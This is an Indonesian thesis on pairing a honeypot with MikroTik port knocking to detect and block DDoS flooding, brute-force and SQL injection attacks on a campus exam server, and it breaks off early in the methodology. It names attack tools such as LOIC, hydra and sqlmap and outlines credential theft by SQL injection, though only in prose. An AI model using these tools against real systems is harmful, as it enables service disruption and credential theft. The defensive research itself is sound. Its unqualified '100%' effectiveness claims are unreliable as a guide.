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ABSTRAK

Sistem keamanan jaringan semakain hari kian makin berkembang seiring
dengan kemajuan tegnologi komputer dan jaringan, begitu pula serangan pada
sistem jaringan yang berbeda-beda metode dan perkembanganya, khususnya pada
server yang menjadi pengendali utama dalam rangkaian sistem jaringan menjadi
target utama dari orang yang hendak merusak atau mengambil keuntungan
tertentu dari sistem jaringan yang dibangun, terlebih dalam bidang pendidikan
perguruan tinggi yang hampir semua model sistemnya menggunakan jaringan.
Sehingga dalam penelitian ini akan melakukan pengujian dengan serangan
tertentu pada server jaringan dan akan menganalisis bagaimana sistem keamanan
jaringan mendeteksi dan menggagalkan serangan.

Pada penelitian ini serangan yang digunakan adalah distributed denial off
service (ddos attack) dengan berbagai jenis model serangan seperti ddos attack
request flooding, ddos attack traffick flooding, ddos brute force attack dan ddos
attack SQL injection. Sedangkan untuk mendeteksi dan menggagalkan serangan
tersebut yaitu menggunakan metode honeypot dan port knocking yang akan
berkolaborasi dalam mengamankan sistem server jaringan pada sistem operasi
windows.

Didapatkan hasil bahwa honeypot dan port knocking mampu
mengamankan server jaringan dari serangan ddos attack, dimanan honeypot 100%
mampu mendeteksi dan menjebak serangan yang masuk sedangkan port knocking
100% memblokir dan menggagalkan serangan ddos attack yang dilakukan oleh
penyerang.

Kata kunci : Server jaringan, ddos attack, honeypot dan port knocking.



ABSTRACT

Network security systems are increasingly developing along with advances
in computer and network technology, as well as attacks on network systems of
different methods and developments, especially on servers that are the main
controllers in a series of network systems that are the main target of people who
want to damage or take certain advantage of the network system built, especially
in the field of higher education, where almost all system models use a network. So
that in this study we will test with certain attacks on network servers and will
analyze how the network security system detects and thwarts attacks.

In this study, the attack used is a distributed denial off service (ddos
attack) with various types of attack models such as ddos attack request flooding,
ddos attack traffick flooding, ddos brute force attack and ddos attack SQL
injection. Meanwhile, to detect and thwart these attacks, namely using the
honeypot and port knocking methods which will collaborate in securing network
server systems on the Windows operating system.

The results show that honeypot and port knocking are able to secure
network servers from ddos attacks, where honeypot is 100% capable of detecting
and trapping incoming attacks while port knocking 100% blocks and thwarts ddos
attacks carried out by attackers.

Keywords: network server, ddos attack, honeypot and port knocking.
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BAB I
PENDAHULUAN
1.1 Latar Belakang

Perkembangan teknolologi jaringan terutama system keamanan jaringan
yang semakin berkembang menuntut agar system keamanan jaringan untuk
berkembang, terutama pada keamanan server yang merupakan salah satu tugas
pokok dari system administrator jaringan. Hal ini didasarkan pada karakteristik
umum dari sistem jaringan komputer yang pada dasarnya adalah tidak aman untuk
diakses secara bebas oleh pengguna. Terbukanya port pada sistem jaringan untuk
layanan yang sifatnya public maupun bersifat pribadi, memiliki kemungkinan
resiko yang tinggi untuk diserang dan diganggu oleh hacker atau penyerang.
Untuk mengatasi hal tersebut maka administrator atau pemilik jaringan
membutuhkan sebuah keamanan yang baik dan handal untuk dapat menjaga
jaringan server dari penyerang yang akan mengganggu server jaringan.

Sebelum adanya metode honeypot dan port knocking untuk keamanan
server pada sistem operasi biasanya komputer server hanya menggunakan firewall
untuk mengamankan lalulintas jaringan, namun firewallpun masih banyak
memiliki kelemahan dan kekurangan. Untuk mengatasinya maka dibutuhkan
pengembangan dari firewall yaitu dengan mengimplementasikan honeypot dan
port knocking pada jaringan server. Dimana port knocking dapat mengontrol
layanan port terbuka dan port tertutup[l]. Selain menggunakan metode port
knocking dibutuhkan honeypot untuk mengalihkan attacker kedalam server tiruan

dan mendeteksi serangan apa saja yang dilakukan oleh attacker/intruder pada



server sehingga penyerang terjebak dan tidak mengganggu server pada
jaringan[2].

Serangan yang paling sering digunakan adalah Port Scanning dan DDOS
(Distributed Denial Of Service) namun saat ini kita akan mengamati lebih jauh
tentang serangan DDOS Attack dan mengatasinya dengan menggunakan Honeypot
sebagai sistem jaringan tiruan untuk memonitor attacker untuk selanjutkan
serangan DDOS Attack tersebut akan dihentikan dan diblokir dengan
menggunakan metode Prort Knocking dengan membuka port dan terdeteksi user
asing maka user tersebut akan di blok atau dihentikan.

Sampai saat ini, serangan DDOS Attack masih belum memiliki metode
pencegahan yang dapat diterapkan pada semua jenis DDOS Attack. Hal ini
kemungkinan disebabkan karena manajemen dan serangan DDOS Attack memiliki
mekanisme yang berbeda-beda, para pengganggu sistem jaringan juga terus
mengembangkan metode dalam melakukan serangan DDOS Attack, bahkan
menggunakan metode baru untuk melakukan penyerangan. Saat ini, terdapat
beberapa pendekatan untuk memerangi serangan DDOS Attack. Seperti metode
honeypot dimana sistem kerjanya yaitu menjadikan salah satu komputer mudah
atau rentan untuk dimasuki sehingga menjadi sasaran utama yang empuk untuk
para attacker atau pengganggu jaringan masuk sehingga komputer lainya yang
digunakan pada sistem jaringan nirkabel tetap aman menjalankan fungsinya
dikolaborasikan juga dengan sistem keamanan jaringan dengan metode Port
Knocking untuk melakukan ketukan kedalam port sehingga diizinkan masuk

untuk mengakses server pada jaringan yang digunakan.



Pengujian penelitian ini akan dilakukan pada Laboratorium Kampus
Sekolah Tinggi Manajemen Informatika dan Komputer (STMIK) Bina Bangsa
Kendari yang dimana setiap proses ujian kompetensi mahasiswa dilakukan secara
online maupun offline untuk lebih mempermudah dalam proses ujian dan akurat
dalam memperoleh hasil nilai, namun pada pengelolaan jaringan hanya
menggunakan satu server untuk melayani user client yang nantinya akan
digunakan oleh mahasiswa dalam melakukan proses ujian, yang tentunya
membutuhkan sistem keamanan jaringan yang baik dan handal untuk
mengantisipasi jika terjadi adanya gangguan pada server jaringan dari serangan
user yang tidak bertanggung jawab dengan tujuan mengganggu server jaringan
dengan metode serangan Ddos Attack untuk melumpuhkan client-server agar
tidak bisa terhubung pada jaringan atau jaringan menjadi down, eksploitasi
password dan username pada microtik router dan menginjeksi database pada
aplikasi web untuk bisa mendapatkan password dan username sehingga dapat
login sebagai admin. Model sistem jaringan yang akan dibangun pada pengujian
penelitian ini yang nantinya akan dijadikan sebagai target serangan dan pengujian
dalam keamanan server jaringan adalah simulasi ujian offline jaminan internal
mutu (JAMIN) dimana ujian ini biasanya digunakan pada mahasiswa semester VI
(enam) dengan tujuan untuk menguji mahasiswa tentang kemampuanya dalam
bidang ekstrakurikuler dasar komputer, aplikasi web Computer Based Test (CBT)
digunakan pada calon mahasiswa baru untuk melakukan tes seleksi bersama
masuk perguruan tinggi swasta (SBMPTS) dan router microtik yang nantinya

akan digunakan untuk mengatur konvigurasi server pada jaringan. Sedangkan



untuk keamanan server jaringan yaitu menggunakan metode Honeypot dan Port
Knocking dengan tujuan mengamankan server jaringan untuk menjebak dan
memblokir serangan dari user yang tidak bertanggung jawab dari serangan ddos
attack.

Pada umumnya Honeypot merupakan sebuah komputer atau situs jaringan
yang terlihat seperti bagian dari jaringan yang sebenarnya terisolasi dan
dimonitor. Jika dilihat dari kacamata hacker yang akan menyerang, Honeypot
terlihat seperti layaknya sistem yang patut untuk diserang. Hingga saat ini
serangan Distributed Denial of Service (Ddos) yang dilakukan oleh attacker pada
server adalah untuk menyibukan lalulintas jaringan sehingga CPU server bekerja
ekstra dalam mengola jaringan dan model penyeranganya pun bisa menggunakan
smart phone android ataupun komputer selama bisa mengakses sistem jaringan
tersebut.

Sedangkan Port Knocking merupakan metode atau cara untuk membuka
akses ke port tertentu yang telah diblock oleh Firewall pada perangkat jaringan
dengan cara melakukan ketukan yang sudah disetting bisa dengan tiga kali
ketukan atau ping sehingga port terbuka. Jika koneksi yang dikirimkan oleh host
tersebut sudah sesuai dengan rule knocking yang diterapkan, maka secara dinamis
firewall akan memberikan akses ke port yang sudah diblock. Dengan cara ini,
perangkat jaringan seperti Router atau microtik akan lebih aman, sebab admin
jaringan bisa melakukan blocking terhadap port-port yang rentan terhadap
serangan seperti Distributed Denial of Service Attack (Ddos Attack). Jika

dilakukan port scanning port-port tersebut terlihat tertutup.



Berdasarkan uraian latar belakang di atas, penulis mempunyai gagasan
untuk mengangkat permasalahan tersebut dalam penelitian yang berjudul
“implementasi honeypot dan port knocking dalam mendeteksi serangan

distributed denial of servis attack (ddos attack) pada server jaringan”.

1.2 Rumusan Masalah

Dari latar belakang diatas dapat ditarik permasalahan untuk dijadikan
perumusan masalah yaitu bagaimana analisis dari implementasi honeypot dan
prort knocking dalam mendeteksi serangan distributed denial of servis attack

(ddos attack) pada server jaringan.

1.3 Tujuan Penelitian

Berdasarkan pada masalah yang telah didefinisikan di atas maka tujuan
penelitian ini adalah analisis dari implementasi honeypot dan port knocking dalam
mendeteksi serangan distributed denial of servis attack (ddos attack) pada server

jaringan.

1.4 Manfaat Penelitian
Adapun manfaat dari penelitian ini adalah sebagai berikut:
1. Mengetahui model dari sistem serangan Ddos Attack (Distributed Denial Of

Servis Attack) pada server jaringan.



2. Mengetahui implementasi kinerja honeypot dan port knocking dalam
mendeteksi serangan ddos attack (distributed denial of servis attack) pada

server jaringan.

1.5 Batasan Masalah
Batasan-batasan masalah yang digunakan dalam penelitian ini adalah sebagai
berikut :

1. Penelitian dilakukan untuk menganalisis kinerja performance pada CPU dan
jaringan pada komputer server sebelum dan sesudah adanya serangan ddos
attack dan memabandingkanya setelah terpasang honeypot dan port knocking
pada server jaringan.

2. Melihat kinerja dan fungsi dari honeypot dalam mendeteksi serangan Ddos
Attack (Distributed Denial Of Servis Attack) dan port knocking dalam
mengamankan server jaringan dari serangan ddos attack.

3. Fokus penelitian ini hanya pada server jaringan, seperti pada jaringan localhost
ujian jamin berbasis offline, router microtik server dan aplikasi computer based

tes (CBT) berbasis web yang dapat diakses dengan jaringan localhost.



BAB I
KAJIAN PUSTAKA
2.1 Honeypot

Honeypot adalah sistem umpan untuk mengumpulkan informasi attacker
dari penyerang dengan cara menunggu, memantau setiap aktivitas attacker yang
memulai interaksi, mengumpulkan sebanyak — banyaknya data yang dikenali
sebagai sebuah serangan untuk melindungi sistem dan jaringan [3].

Saat ini  untuk  mengamankan jaringan  komputer  digunakan
Intrusion Detection System (IDS) Namun IDS ini memiliki kelemahan, yaitu tidak
mampu dalam menangani serangan baru yang belum diketahui sebelumnya.
Laporan terbaru dari kasus SSH Brute Force Attack adalah serangan dengan
tujuan memperolen credentials dan critical information, seperti akses
administrator dari target dan gambaran sistem yang digunakannya yang
kemudian semua informasi tersebut akan di internet melalui underground website.
Honeypot merupakan mekanisme baru dalam keamanan, membantu dalam
memonitor dan mempelajari serangan. Honeypot adalah alat yang digunakan
menjebak attacker, honeypot dapat memikat pengguna jahat dengan cara
bertindak sebagai sistem yang mengandung data yang berharga atau layanan
yang menarik, honeypot memungkinkan untuk dieksploitasi oleh Attacker. Hal
inilah yang kemudian dapat membantu pakar keamanan profesional dan peneliti
dalam proses pembelajaran terhadap teknik dan metode yang dilakukan oleh para

attacker.



Honeypot tidak bisa mencegah serangan cyber terhadap jaringan sendiri,
tetapi mereka dapat membantu dalam mengidentifikasi dan melakukan deteksi
terhadap serangan ketika mereka digunakan bersama dengan perangkat
pertahanan lainnya seperti firewall. Honeypot dapat menghasilkan sejumlah data
yang memiliki nilai yang tinggi dan dapat juga menjadi tantangan bagi para
pakar keamanan profesional [4].

1. Model Sistem Honeypot

Honeypot merupakan security resource yang yang sengaja dibuat untuk
diselidiki, diserang, atau dikompromikan [5]. Pada umumnya honeypot berupa
komputer, data, atau situs jaringan yang terlihat seperti bagian dari jaringan,
tapi sebenarnya terisolasi dan dimonitor. Jika dilihat dari kacamata hacker yang
akan menyerang, honeypot terlihat seperti layaknya sistem yang patut untuk
diserang.

honeypot dapat diklasifikasikan berdasarkan pada tingkat interaksi yang
dimilikinya. Tingkat interaksi dapat didefinisikan sebagai tingkat aktivitas
penyerang didalam sistem yang diperbolehkan maka semakin tinggi pula

tingkat interaksi honeypot.
Security HoneyPOT

Scanning Attack

I Firewall DMZ to HoneyPOT ¢

Internst
S Scan Attack Logged
Astar Services R outer Astar Services HoneyPOT

Astar Services Firewall

Internal Network

Gambar 2.1 Security Honeypot [5]



2. Low-interaction honeypot

Low-interaction honeypot yaitu honeypot yang didesain untuk
mengemulasikan service (layanan) seperti pada server yang asli, namun

penyerang hanya mampu memeriksa dan terkoneksi ke satu atau beberapa port.

Kelebihan low-interaction honeypot yaitu:

1) Mudah di install, dikonfigurasi, deployed, dan dimaintenance.

2) Mampu mengemulasi suatu layanan seperti http, ftp, telnet dan
sebagainya.

3) Difungsikan untuk deteksi serangan, khususnya pada proses scanning

atau percobaan.

Kekurangan low-interaction honeypot ;

1) Layanan yang di berikan hanya berupa emulasi, sehingga penyerang
tidak dapat berinteraksi secara penuh dengan layanan yang diberikan atau
sistem operasinya secara langsung.

2) Informasi yang bisa kita dapatkan dari penyerang sangat minim. Apabila
serangan dilakukan oleh "real person™ bukan "automated tools" mungkin
akan segera menyadari bahwa yang sedang dihadapi merupakan mesin

honeypot, karena keterbatasan layanan yang bisa diakses.
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3. High-interaction honeypot

High-interaction honeypot yaitu sistem operasi dimana penyerang dapat
berinteraksi langsung dan tidak ada batasan yang membatasi interaksi tersebut.
Namun dengan menghilangkan batasan-batasan tersebut akan menyebabkan
tingkat risiko yang dihadapi semakin tinggi karena penyerang dapat memiliki
akses root. Pada saat yang sama, kemungkinan pengumpulan informasi

semakin meningkat dikarenakan kemungkinan serangan yang tinggi jika si

penyerang telah mendapat akses root.

Kelebihan dari high interaction honeypot yaitu:

1) Penyerang berinteraksi langsung dengan sistem yang nyata termasuk
diantaranya sistem operasi, network, hingga layanan yang diberikan web
service, ssh service, mail service dan lain-lain.

2) Umumnya dibangun suatu sistem khusus dengan topologi yang telah
dipersiapkan.

3) Sistem tersebut biasanya terdiri dari berbagai macam implementasi dari
teknologi keamanan yang banyak digunakan untuk melindungi suatu
sistem, seperti firewall, IDS/IPS, router dan lain-lain.

4) Target serangan berupa sistem operasi sebenarnya yang siap untuk

berinteraksi secara langsung dengan penyerang.
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Kekurangan high interaction honeypot :

1) Perencanaan dan implementasi sistem jauh lebih rumit dan dibutuhkan
banyak pertimbangan.

2) High-interaction honeypot bersifat tidak efisien karena membutuhkan
pengawasan berkala.

3) Apabila telah diambil alih oleh penyerang maka honeypot tersebut dapat

menjadi ancaman bagi jaringan yang ada.
2.2 Port Knocking

Port Knocking adalah sebuah metode sederhana untuk memberikan akses
remote tanpa meninggalkan port dalam keadaan selalu terbuka. Hal ini akan
memberikan perlindungan kepada server dari port scanning dan serangan scripts

kiddies [6].

You using a generic PC
without any special VPN

3

IP: X Your public
IP here

MikroTik 192.168.10.129

~ HOME
LAN

Mikrotik firewall logic:
Oh! | see the port-knocking sequence
from source IP X, | will open a firewall
and NAT for IP X to reach
192.168.10.129!

Gambar 2.2 Metode Port Knocking [6]
Port Knocking memiliki metode buka port kepada suatu klient bila klient

itu meminta, dan tutup kembali bila klient telah selesai. Untuk menjalankan
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metode ini, sebuah server haruslah memiliki firewall dan daemon untuk
menjalankan metode port knocking yang berjalan di server tersebut. Dengan
metode tersebut, user dituntut untuk memberikan autentikasi ke server agar
firewall menulis ulang rulenya sehingga user diberi izin untuk mengakses port
yang dimaksud. Dan setelah selesai, user mengirimkan autentikasi kembali untuk
menutup port agar firewall menghapus rulenya yang ditulis sebelumnya untuk
membuka port. Metode port knocking pada perancangan sistem usulan ini
menggunakan protocol TCP untuk melakukan autentikasi. Sebelumnya port
layanan yang terdapat pada server dikondisikan dalam keadaan closed/ tertutup
sehingga layanan yang terdapat pada server tidak dapat diakses oleh siapapun.
Ketika ingin mengakses layanan jaringan yang terdapat pada server harus
melakukan autentikasi terlebih dahulu. Hal tersebut bertujuan untuk membuka

port yang tertutup.

2.3 Ddos Attack (Distributed denial-of-service Attack)

Distributed denial-of-service attack (Ddos attack) merupakan jenis
serangan yang telah ada sejak tahun 1990, dimana volume dan intensitas Ddos
terus meningkat. Pada akhir tahun 2014, dilaporkan bahwa serangan Ddos
merupakan teknik serangan yang paling populer [6]. Dengan demikian, Ddos
merupakan salah satu ancaman utama dunia maya dan menjadi masalah utama
keamanan cyber. Ddos disebut sebagai senjata pilihan hacker karena telah terbukti

menjadi ancaman permanen bagi pengguna, organisasi dan infrastruktur di
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Internet. Di sisi lain, serangan jaringan merupakan risiko untuk integritas,
kerahasiaan dan ketersediaan sumber daya yang disediakan oleh organisasi [7].

Pengenalan pola serangan Ddos pada IDS memiliki dua kelemahan.
Pertama, karena defisit TCP/IP (B.Cid, 2015). Bagi hacker, serangan Ddos sangat
mudah untuk dimulai, sementara korban sulit untuk menyadari. Selain itu,
serangan Ddos mengalami perkembangan teknik yang mutakhir sebagai contoh
adalah serangan SYN-Flood. Secara umum sebuah paket tunggal SYN, merupakan
paket yang bersifat legal pada aktivitas jaringan sehingga sulit dideteksi sebagai
artefak abnormal oleh IDS, sehingga IDS cukup sulit untuk membangkitkan alert
apakah jaringan sedang diserang oleh SYN-Flood. Kedua, adanya masalah alert
bersifat false-positive yang sering terjadi pada IDS yang berbasis signature,
dimana pola jaringan normal dideteksi sebagai serangan Ddos, sehingga ketika
benar-benar terjadi serangan Ddos waktu untuk menentukan dan melakukan
tindakan mitigasi secara cepat untuk mengamankan jaringan tidak bisa
dilaksanakan seefisien mungkin [8].

Ddos Attack atau Distributed Denial of Service attack adalah sebuah usaha
serangan untuk membuat komputer atau server tidak dapat bekerja dengan baik.
Dalam hal ini dapat menyebabkan performa server atau komputer menjadi sangat
lambat. Selain itu, serangan Ddos juga mengganggu komunikasi antara sebuah
host dan kliennya dengan berbagai cara. Selanjutnya memungkinkan pengubahan
informasi yang dapat menyebabkan kerusakan pada sistem.

Berikut ini merupakan 3 tipe penggunaan teknik serangan Ddos yang umum

digunakan saat ini;
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1. Request Flooding adalah sebuah teknik serangan Ddos yang melakukan
pengiriman requestsecara terus menerus sehingga membanjiri lalu lintas
jaringan. Akibatnya pengguna lain yang juga meminta layanan tidak dapat
dilayani oleh server.

2. Traffic Flooding merupakan teknik yang secara kerjasama seperti request
flooding, pembedanya adalah paket yang dikirimkan. Jika dalam request
flooding yang dikirim adalah request sedangkan dalam teknik traffic
flooding yang dikirim adalah data sehingga pengguna lain tidak dapat
dilayani.

3. Crack Configuration. Cara kerja pada teknik serangan Ddos adalah dengan
mengubah konfigurasi dan merusak sistim bahkan komponen pada server
sehingga server tidak dapat melakukan pelayanan kembali. Akan tetapi,
teknik seperti ini sangat jarang digunakan karena cukup sulit untuk
dilakukan kecuali untuk orang-orang tertentu.

Berikut adalah ilustrasi serangan DDOS

Gambar 2.3 llustrasi Serangan Ddos Attack [8]


https://www.jetorbit.com/blog/wp-content/uploads/2019/05/Mengenal-Serangan-DDoS-Distributed-Denial-of-Service.jpg

15

Biasanya server jaringan yang mengalami serangan akan mengalami hal-hal
berikut ini;

1. Kecepatan dan kinerja jaringan yang menurun.

2. Tidak berfungsinya bahkan hilangnya beberapa fitur.

3. Adanya sistem yang crash (rusak).

4. Peningkatan spams meningkat.

5. Website tidak dapat diakses.

2.4 Keamanan Jaringan Komputer

Keamanan jaringan komputer adalah suatu bentuk penanggulangan
serangan yang dilakukan oleh attacker untuk masuk kedalam suatu jaringan
komputer melalui lalu lintas jaringan yang tidak sah dari jaringan komputer
luar[9].

Pada saat ini keamanan jaringan menjadi sangat penting dan patut untuk
diperhatikan, jaringan yang terhubung dengan internet pada dasarnya tidak aman
dan selalu dapat diekploitasi olen para hacker, baik jaringan LAN maupun
Wireless. Pada saat data dikirim akan melewati beberapa terminal untuk sampai
tujuan berarti akan memberikan kesempatan kepada pengguna lain yang tidak
bertanggung jawab untuk menyadap atau mengubah data tersebut. Dalam
pembangunan perancangannya, sistem keamanan jaringan yang terhubung ke
Internet harus direncanakan dan dipahami dengan baik agar dapat melindungi
sumber daya yang berada dalam jaringan tersebut secara efektif dan

meminimalisir terjadinya serangan oleh para hacker. Apabila ingin mengamankan
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suatu jaringan maka harus ditentukan terlebih dahulu tingkat ancaman yang harus

diatasi, dan resiko yang harus diambil maupun yang harus dihindari.

2.5 Penelitian terkait

Dalam penyusunan tesis ini, penulis sedikit banyak terinspirasi dan
mereferensi dari penelitian — penelitian sebelumnya yang berkaitan dengan latar

belakang masalah pada tesis ini. Adapun perbandingan penelitian yang terkait

yaitu pada table 2.1 berikut;

Tabel 2.1 Tabel perbandingan penelitian terkait

Nama
No dan Judul Metode | Parameter Hasil
Tahun
Wilmant, Port port Pengujian implementasi Port
Iskandar Knocking knocking | Keamanan Knocking dengan
Fitri2, Novi | Dan dan Server, Fitur Limit per-I1P
Dian Honeypot honeypot | menggunaka | connection Rate dan
1 Nathasia3 | Sebagai n aplikasi honeypot sebagai
Keamanan MobaXtreme | keamanan jaringan
Vol 3 Nol | Jaringan Pada dan Putty pada Server Ubuntu
Maret 2018 | Server Virtual mampu
Ubuntu mengamankan
Virtual server.
Bagus Analisis Dan | Honeypot | DDOS ( Sebelum serangan
Mardiyanto | Implementasi | , honeyd | Distributed beban cpu sebesar
1 Tutuk Honeypot dan Denial of 15,25% dan setelah
Indriyani?, | Dalam iptables Service) serangan beban cpu
| Made Mendeteksi pada server sebesar 45,98% dan
Suartana® Serangan menggunaka | setelah pembelokkan
2 Distributed n tools loic serangan beban cpu
Vol 1, No Denial-Of- dengan jenis | sebesar 30,83%.
2,Septembe | Services serangan Tcp
r 2016 (DDOS) Pada Flood
Jaringan
Wireless
Perancangan | Honeypot | Dionaea Sistem honeypot
Sutarti?, Dan Analisis adalah salah | telah berhasil
3 Khairunnis | Keamanan satu low meringankan tugas
a? Jaringan interaction dari deteksi menjadi
Nirkabel Dari honeypot lebih sederhana,
Serangan yang efektif dan murah.
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Vol. 4 No. | Ddos menawarkan | Konsepnya sendiri
2 (Distributed layanan sangat mudah
September | Denial Of SMB, HTTP, | dipahami dan
2017 Service) FTP dan diimplementasikan.
Berbasis TFTP. Honeypot sendiri
Honeypot ditujukan untuk
mendeteksi serangan
yang dilakukan oleh
attacker dengan
mengecoh attacker
tersebut dengan
fasilitas mirror server
Naufal Implementasi | Honeypot | Honeypot ini | Hasil keseluruhan
Arkaana?, Low berjenis low | data penyerang
Dolly Interaction interaction berdasarkan negara
Virgian Honeypot menggunaka | yaitu 311 data
Shaka Untuk n bahasa serangan dengan
Yudha Peningkatan pemrograma | jumlah 27 negara
Saktib? Keamanan n python yang tercatat dan
Server dan konsep ditangkap oleh
19 Analisa network honeypot.
September | Serangan programming
2019 Pada juga library
Protokol SSH paramiko
untuk
mengimplem
entasi
protokol
SSH yang
digunakan
Devie Penerapan Port Hasil pengujian yang
Ryana Sistem knocking telah dilakukan
Suchendra®! | Pengamanan DNS, Port menggunakan metode
, Alfian Port Pada Port Knocking port knocking yang
Fitra Layanan Knocking | untuk Email | dikombinasikan dengan
Rahman?, Jaringan dan Port :;';ewa” di Mikrotik,
. . . pat memberikan
Setia Juli Menggunaka knocking sistem keamanan
Irzal n Port Untuk FTP | autentikasi pada server
Ismail® Knocking layanan jaringan dan
dapat mengamankan
Vol.10 server dari 3 serangan
No.2, yailtu Hydra, DoS, dan
Telnet yan
Desember mengga/nalgan ptotocol
Aplikasi Utilitas Hasil dari aplikasi
Rometdo | Pengendalian | Port Serangan pengendalian port
Muzawi Port dengan | Knocking | server dari | dengan utilitas port
Utilitas Port sniffing knocking telah berhasil
Vol. 2, No. | Knocking acttack, Port ggur{ég?r;grl?;g:gylkan
1, Juni untuk Scanning
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2016 Optimalisasi pada port terbuka server berhasil
Sistem SSH yang melindungi layanan
Keamanan terbuka yang ada (disini berupa
Jaringan file se_rver) de-_ngan
Komputer menglnt_egra3|kan
aturan firewall dengan
program port knocking
yang digunakan.
Analisis Ddos Serangan Serangan DDQOS
Rudi Konsep Dan | Attack Ddos Attack | menyebabkan
Hermawan | Cara Kerja (Distribut | pada website | bandwidth yang
Serangan ed Denial | www.unindr | digunakan oleh
Vol. 5 No. | Komputer Of a.ac.id korban akan habis
1:1-14 Distributed Service yang mengakibatkan
Denial Of Attack) terputusnya koneksi
Service antar server.
(Ddos)
Syaifuddin! | Realtime Brute OpenSSH implementasi
, Diah Pencegahan Force dan Apache. | fail2ban pada Ubuntu
Risgiwati?, | Serangan attack dan | Sedangkan server versi 16 untuk
Eko Ari Brute Force | DDOS pada host mencegah serangan
Irawan® dan DDOS attack penyerang bruteforce dan
Pada Ubuntu terinstall DDOS
Techno.CO | Server sistem
M, Vol. 17, operasi Kali
No. 4, Linux dan
November program
2018 hydra,
medusa,
xerves dan
browser.
Sudiharyan | Analisa Sql injeksi | 1. Mencari aplikasi SQLMAP
to Likal, serangan sql | sqlmap database yang | dari Kali Linux
Roy Dwi | injeksi terdapat pada | cykup handal untuk
Putra menggunaka situs web yang | mempobol kemanan
Halim? , n sqlmap menjadi target. | 4o g5 web yang
Ihsan 2. Menginjeksi telah kami targetkan
.4 data-data yang
Verdian terdapat pada
database
Volume 4, tersebu.
No.2, 2018 3. Mencari
serta
mendapatkan
data yang
cukup sensitif
(user dan
password) dari
situs web

tersebut.
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2.6 Kerangka pikir

Pada penelitian ini peneliti akan mencoba melakukan analisis
perbandingan pada server komputer jaringan yang sengaja untuk diserang dengan
konsep metode Ddos Attack (Distributed denial of service) dengan membanjiri
server dengan lalu lintas jaringan sehingga server pada jaringan ini sibuk
sehingga tidak bisa untuk digunakan pengguna. Selanjutnya akan dilakukan
serangan ulang namun pada server jaringan sudah dipasangkan satu komputer
koneypot sehingga serangan yang tadinya mengarah pada server jaringan Kini
menuju ke komputer server honeypot sebagai jebakan untuk penyerang sehingga
server jaringan dan pengguna pada jaringan tersebut tidak terganggu. Setelah
diketahui adanya gangguan yang terdeteksi pada komputer honeypot barulah
peneliti menggunakan metode port knocking untuk membuka port dengan metode
ketukan tertentu sehingga dapat masuk kedalam server untuk memblokir
penyusup yang mencoba masuk untuk mengganggu server jaringan.

Berdasarkan referensi dari peneliti-peneliti terdahulu dan permasalahan
yang terkait dalam penelitian ini, maka berikut adalah kerangka pemikiran yang

diusulkan dalam penelitian ini:

Ddos Attack

Y

Server - Honeypot € Administrator

Port Knocking (€&

Gambar 2.4 Kerangka pikir



20

BAB I
METODE PENELITIAN

3.1 Waktu dan dan tempat penelitian

Penelitian ini dilakukan di Laboratorium STMIK Bina Bangsa Kendari
dengan membuat konfigurasi server jaringan menggunakan rotuer microtik,
model jaringan client-server untuk bisa menghubungkan aplikasi sistem ujian
jamin berbasis offline dan aplikasi web computer based test dengan menggunakan
jaringan localhost. Pengujian dalam penelitian ini menggunkan 11 unit komputer
dimana 7 komputer digunakan untuk client, 1 komputer untuk server honeypot, 2
komputer digunakan untuk melakukan serangan ddos attack dan 1 komputer
digunakan untuk server jaringan. Waktu penelitian dilakukan selama 3 bulan

mulai dari bulan Mei, Juni dan Juli tahun 2020.

3.2 Pendekatan dan jenis penelitian

Pendekatan penelitian ini menggunakan tipe penelitian deskriptif
[10].penelitian deskriptif adalah metode yang berfungsi untuk mendeskripsikan
atau memberi gambaran terhadap obyek yang diteliti melalui data atau sampel
yang telah terkumpul sebagaimana adanya, tanpa melakukan analisis dan
membuat kesimpulan yang umum.

Jenis penelitian yang digunakan dalam penelitian ini adalah penelitian
kuantitatif. Metode penelitian kuantitatif merupakan salah satu jenis penelitian
yang spesifikasinya adalah sistematis, terencana dan terstruktur dengan jelas sejak

awal hingga pembuatan desain penelitiannya. Metode penelitian kuantitatif, [10]
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yaitu : “Metode penelitian yang berlandaskan pada filsafat positivisme, digunakan
untuk meneliti pada populasi atau sampel tertentu, pengumpulan data
menggunakan instrumen penelitian, analisis data bersifat kuantitatif/statistik,

dengan tujuan untuk menguji hipotesis yang telah ditetapkan”.

3.3 Tahapan penelitian

Pada tahapan penelitian menjelaskan bagaimana cara penelitian ini
dilakukan, sehingga dapat memberikan rincian tentang alur atau langkah-langkah
yang dibuat secara sistematis serta dapat digunakan dengan jelas dalam
menyelesaikan masalah, membuat analisa terhadap hasil penelitian. Adapun

tahapan penelitian ini dapat dilihat pada gambar 3.1.

METODOLOGI

SIMULASI
SISTEM

LAPORAN — ANALISIS

Gambar 3.1 Alur tahapan penelitian

3.4 Perancangan sistem honeypot dan port knocking
Perancangan  sistem dalam  penelitian ini  dirancang  untuk
mengimplementasikan honeypot dan port knocking dalam keamanan sebuah

server pada jaringan dari serangan Ddos Attac (distributed denial of servic attack).
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Pada dasarnya honeypot sebagai pengalihan penyusup seolah — olah sudah masuk
ke sever utama padahal penyerang atau attacker berada pada ip komputer diluar
dari server sehingga jaringan yang sudah terbentuk tidak terganggu, honeypot bisa
melihat log/aktivitas yang dikerjakan oleh intruder terhadap server.

Sedangkan port knocking berfungsi untuk membuka akses ke port tertentu
yang telah diblock oleh Firewall pada perangkat jaringan dengan cara
mengirimkan paket atau koneksi tertentu, koneksi bisa berupa protocol ICMP,
TCP, dan UDP jika koneksi yang dikirimkan oleh host tersebut sudah sesuai
dengan rule autentikasi yang diterapkan, maka secara dinamis firewall akan
memberikan akses ke port yang sudah diblock sehingga jika terdapat user asing
yang tidak dikenal port tersebut langsung ditutup untuk memblokir penyusup

yang mencoba mengganggu server jaringan[11].

3.5 Perancangan serangan distributed denial off service attack (ddos attack)
Pada proses pengujian serangan dalam penelitian ini ada beberapa teknik
ddos attack yang akan digunakan, yang nantinya akan dianalisis bagaimana
keadaan komputer server pada jaringan sebelum dan sesudah adanya serangan dan
bagaimana ketika sudah diterapkannya implementasi dari kemanan jaringan
dengan menggunakan honeypot dan port knocking yaitu sebagai berikut;
1. Serangan Ddos Attack Request Flooding
Request Flooding adalah sebuah teknik serangan ddos yang

melakukan pengiriman request secara terus menerus sehingga membanjiri
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lalu lintas jaringan. Akibatnya pengguna lain yang juga meminta layanan
tidak dapat dilayani oleh server.
. Serangan Ddos Attack Traffic Flooding

Traffic Flooding merupakan teknik yang sistem kerjanya sama
seperti request flooding. Pembedanya adalah paket yang dikirimkan, jika
dalam request flooding yang dikirim adalah request sedangkan dalam
